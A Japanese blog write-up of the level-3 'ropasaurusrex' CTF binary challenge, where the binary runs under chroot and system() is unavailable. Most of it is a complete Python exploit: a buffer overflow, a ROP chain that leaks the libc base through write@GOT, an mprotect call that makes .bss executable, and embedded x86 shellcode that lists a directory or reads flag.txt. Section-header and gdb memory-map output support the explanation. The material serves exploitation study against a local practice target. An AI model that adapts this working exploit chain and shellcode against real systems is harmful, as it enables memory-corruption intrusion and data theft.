ropasaurusrexのwriteup [level 3]

今回はropasaurusrexのlevel3です。
今回はバイナリがchrootされていてsystem関数が使えないという状況です。
手段としてはreaddirとreadfileのシェルコードを実行させます。

先にプログラムを載せます。

#!/usr/bin/python
# -*- coding:utf-8 -*-
import socket, struct, telnetlib

# --- common funcs ---
def sock(remoteip, remoteport):
  s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
  s.connect((remoteip, remoteport))
  return s, s.makefile('rw', bufsize=0)

def read_until(f, delim='\n'):
  data = ''
  while not data.endswith(delim):
    data += f.read(1)
  return data

def shell(s):
  t = telnetlib.Telnet()
  t.sock = s
  t.interact()

def p(a): return struct.pack("<I",a)
def u(a): return struct.unpack("<I",a)[0]
shellcode_readdir = "\xEB\x38\x5B\x31\xC9\x31\xD2\x6A\x05\x58\xCD\x80\x93\x91\xB2\x7F\xB0\x59\x60\xCD\x80\x85\xC0\x74\x26\xB3\x01\x66\x0F\xB6\x51\x08\x8D\x4C\x19\x09\xB0\x04\xCD\x80\xB2\x01\x8D\x4A\x09\x51\x89\xE5\x55\x59\xB0\x04\xCD\x80\x58\x61\xEB\xD8\xE8\xC3\xFF\xFF\xFF"+"./\x00"
shellcode_readfile = "\x31\xc0\x31\xdb\x31\xc9\x31\xd2\xeb\x32\x5b\xb0\x05\x31\xc9\xcd\x80\x89\xc6\xeb\x06\xb0\x01\x31\xdb\xcd\x80\x89\xf3\xb0\x03\x83\xec\x01\x8d\x0c\x24\xb2\x01\xcd\x80\x31\xdb\x39\xc3\x74\xe6\xb0\x04\xb3\x01\xb2\x01\xcd\x80\x83\xc4\x01\xeb\xdf\xe8\xc9\xff\xff\xff"+"flag.txt"

mode = raw_input('input "dir" or "file"\n')
if (mode == 'dir'):
    shellcode = shellcode_readdir 
elif (mode == 'file'):
    shellcode = shellcode_readfile 
else:
    print 'exit.\n'
    quit()


# --- main ---
s, f = sock("localhost", 4088)    # 接続

plt_write = 0x0804830c
plt_read = 0x0804832c
got_write = 0x8049614
offset_write = 0x000e5650
offset_mprotect = 0x000f2b70
pop3ret = 0x80484b6
bss_address = 0x08049628+0x500
bss_topaddress = 0x08049000
data_address = 0x08049620
leave = 0x080482ea

buf = "A"*136   #returnアドレスまでの埋め草
buf += p(bss_address-4)
buf += p(plt_read)
buf += p(leave)  
buf += p(0)
buf += p(bss_address)
buf += p(80)

buf2 = p(plt_write) + p(pop3ret) + p(1) + p(got_write) + p(4)     
buf2 += p(plt_read) + p(pop3ret) + p(0) + p(bss_address+80) + p(len(shellcode))            
buf2 += p(plt_read) + p(pop3ret) + p(0) + p(got_write) + p(4)       
buf2 += p(plt_write) + p(bss_address+80) + p(bss_topaddress) + p(0x1000) + p(7)
f.write(buf)
f.write(buf2)

libc_top_address = u(f.read(4)) - offset_write 
mprotect_address = libc_top_address + offset_mprotect

f.write(shellcode)
f.write(p(mprotect_address))

shell(s)

新しい内容はmprotect近辺しかないです。
mprotectを使う意味はbssには書き込み権限と読み込み権限があるが実行権限がないためです。
mprotectのアドレスを調べる手順などはlevel1に書いたので省略。
mprotectの書式を見てみると

int mprotect(const void *addr, size_t len, int prot);

とあります。
mprotect() は、区間 [addr, addr+len-1] のアドレス範囲を含む 呼び出し元のプロセスのメモリーページのアクセス保護を変更する。 addr はページ境界に一致していなければならない。

セクションヘッダ:
  [] 名前              タイプ          アドレス Off    サイズ ES Flg Lk Inf Al
  [ 0]                   NULL            00000000 000000 000000 00      0   0  0
  [ 1] .interp           PROGBITS        08048114 000114 000013 00   A  0   0  1
  [ 2] .note.ABI-tag     NOTE            08048128 000128 000020 00   A  0   0  4
  [ 3] .note.gnu.build-i NOTE            08048148 000148 000024 00   A  0   0  4
  [ 4] .hash             HASH            0804816c 00016c 00002c 04   A  6   0  4
  [ 5] .gnu.hash         GNU_HASH        08048198 000198 000020 04   A  6   0  4
  [ 6] .dynsym           DYNSYM          080481b8 0001b8 000060 10   A  7   1  4
  [ 7] .dynstr           STRTAB          08048218 000218 000050 00   A  0   0  1
  [ 8] .gnu.version      VERSYM          08048268 000268 00000c 02   A  6   0  2
  [ 9] .gnu.version_r    VERNEED         08048274 000274 000020 00   A  7   1  4
  [10] .rel.dyn          REL             08048294 000294 000008 08   A  6   0  4
  [11] .rel.plt          REL             0804829c 00029c 000020 08   A  6  13  4
  [12] .init             PROGBITS        080482bc 0002bc 000030 00  AX  0   0  4
  [13] .plt              PROGBITS        080482ec 0002ec 000050 04  AX  0   0  4
  [14] .text             PROGBITS        08048340 000340 0001ac 00  AX  0   0 16
  [15] .fini             PROGBITS        080484ec 0004ec 00001c 00  AX  0   0  4
  [16] .rodata           PROGBITS        08048508 000508 00000d 00   A  0   0  4
  [17] .eh_frame         PROGBITS        08048518 000518 000004 00   A  0   0  4
  [18] .ctors            PROGBITS        0804951c 00051c 000008 00  WA  0   0  4
  [19] .dtors            PROGBITS        08049524 000524 000008 00  WA  0   0  4
  [20] .jcr              PROGBITS        0804952c 00052c 000004 00  WA  0   0  4
  [21] .dynamic          DYNAMIC         08049530 000530 0000d0 08  WA  7   0  4
  [22] .got              PROGBITS        08049600 000600 000004 04  WA  0   0  4
  [23] .got.plt          PROGBITS        08049604 000604 00001c 04  WA  0   0  4
  [24] .data             PROGBITS        08049620 000620 000008 00  WA  0   0  4
  [25] .bss              NOBITS          08049628 000628 000008 00  WA  0   0  4
  [26] .comment          PROGBITS        00000000 000628 00001c 01  MS  0   0  1
  [27] .shstrtab         STRTAB          00000000 000644 0000de 00      0   0  1

正直、ここらへんまだ理解できてないのですが、bssアドレスの先頭はアドレスからoffsetを引いたもの。
つまり0x08049628-0x628であると予測します。
サイズはgdb-pedaでメモリマップを見て確認します。

gdb-peda$ i proc map
process 13365
Mapped address spaces:

        Start Addr   End Addr       Size     Offset objfile
         0x8048000  0x8049000     0x1000        0x0 /home/r30n/workspace/binary/new/2016_08_03/ctf_study2/3.advanced/rop3/ropasaurusrex3
         0x8049000  0x804a000     0x1000        0x0 /home/r30n/workspace/binary/new/2016_08_03/ctf_study2/3.advanced/rop3/ropasaurusrex3
        0xf7dce000 0xf7fa0000   0x1d2000        0x0 /lib32/libc-2.27.so
        0xf7fa0000 0xf7fa1000     0x1000   0x1d2000 /lib32/libc-2.27.so
        0xf7fa1000 0xf7fa3000     0x2000   0x1d2000 /lib32/libc-2.27.so
        0xf7fa3000 0xf7fa4000     0x1000   0x1d4000 /lib32/libc-2.27.so
        0xf7fa4000 0xf7fa7000     0x3000        0x0 
        0xf7fcf000 0xf7fd1000     0x2000        0x0 
        0xf7fd1000 0xf7fd4000     0x3000        0x0 [vvar]
        0xf7fd4000 0xf7fd6000     0x2000        0x0 [vdso]
        0xf7fd6000 0xf7ffc000    0x26000        0x0 /lib32/ld-2.27.so
        0xf7ffc000 0xf7ffd000     0x1000    0x25000 /lib32/ld-2.27.so
        0xf7ffd000 0xf7ffe000     0x1000    0x26000 /lib32/ld-2.27.so
        0xfffdd000 0xffffe000    0x21000        0x0 [stack]
gdb-peda$ 

引数を指定してmprotectが実行されたら最後にshellcodeのアドレスに飛んで終了です。

エクスプロイトするとこんな感じです。
f:id:r30n:20181126161359p:plain